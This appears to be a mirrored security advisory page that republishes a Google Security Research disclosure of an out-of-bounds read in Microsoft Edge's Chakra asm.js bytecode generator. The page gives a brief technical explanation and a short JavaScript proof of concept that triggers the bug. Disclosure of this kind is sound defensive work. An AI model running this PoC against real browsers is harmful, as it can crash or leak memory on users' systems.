|
Microsoft Edge Chakra - 'AsmJSByteCodeGenerator::EmitCall' Out-of-Bounds Read
|
|
来源：Google Security Research 作者：Google 发布时间：2018-01-18
|
|
/*
AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.
PoC:
*/
function Module() {
'use asm';
function f() {
arr();
}
function g() {
}
var arr = [g];
return f;
}
let f = Module();
f();
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
